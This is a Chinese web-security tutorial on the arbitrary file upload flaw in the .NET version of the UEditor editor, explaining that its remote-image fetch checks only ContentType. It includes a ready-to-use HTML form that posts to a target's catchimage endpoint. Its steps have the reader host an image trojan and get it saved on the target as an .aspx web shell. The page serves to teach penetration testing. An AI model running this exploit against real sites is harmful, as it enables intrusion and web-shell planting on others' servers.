zl程序教程

您现在的位置是:首页 >  其他

当前栏目

WEB漏洞攻防 - 文件上传漏洞 - 文件上传编辑类应用场景 - Ueditor 任意文件上传漏洞

漏洞文件上传应用Web 场景 编辑 任意
2023-09-14 09:14:27 时间

思考:在实际应用场景中,常规类的文件上传、CMS类的文件上传、编辑器的上传或者CTF比赛中的文件上传应用场景都有不同的差异;总结下来就是,文件上传不管是发现还是利用上都会根据产生层面而不同,常规类无资料的情况下采用常规思路测试,有资料的情况下直接参考资料进行即可。

文件上传漏洞有一部分是网站程序自身写出来的,还有一部分是编辑器自身带来的。

现在我们就看一下 Ueditor 编辑器 [百度开发的一款编辑器,该编辑器曾爆出过上传漏洞]

漏洞描述

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。
其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,
在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

影响范围

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。

漏洞原理

漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。

Crawler方法对source[]的检查仅仅是一个ContentType,这个真的很佛系了。

----------------------------------------------------------------------

if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}

我们可以利用post方法直接上传文件到目标网站

 <form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
    <p>shell addr: <input type="text" name="source[]" /></p >
    <input type="submit" value="Submit" />
 </form>

将上述的前端表单代码直接复制到本地,保存为 “html” 格式文件,将上文的 http 地址填写你要测试的网站地址,action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。


在这里插入图片描述


这里我们还需要一个服务器,上传准备的图片马,其中【shell addr】后填写的就是你服务器上木马的地址加上后缀(?.aspx)。


在这里插入图片描述


在这里插入图片描述


成功返回shell


在这里插入图片描述


同样的道理,该漏洞的存在,本身和网站容器没有任何关系,因为这是编辑器自身带来的漏洞。
在我们访问一个 WEB 网站的时候,如果发现前台页面有类似的编辑器的界面,就可以针对该编辑器搜索相关的漏洞,如果存在可以直接利用的漏洞的话,就可以直接利用前人的思路进行渗透,而不用再像常规的文件上传那样一步一步的去检测利用点。[其与上文的CMS的文件上传漏洞利用还是有所区别的,一个是第三方插件,一个是网站。一个产生在编辑器里,一个产生在网站源码里。一个是插件的漏洞,一个是网站的漏洞。]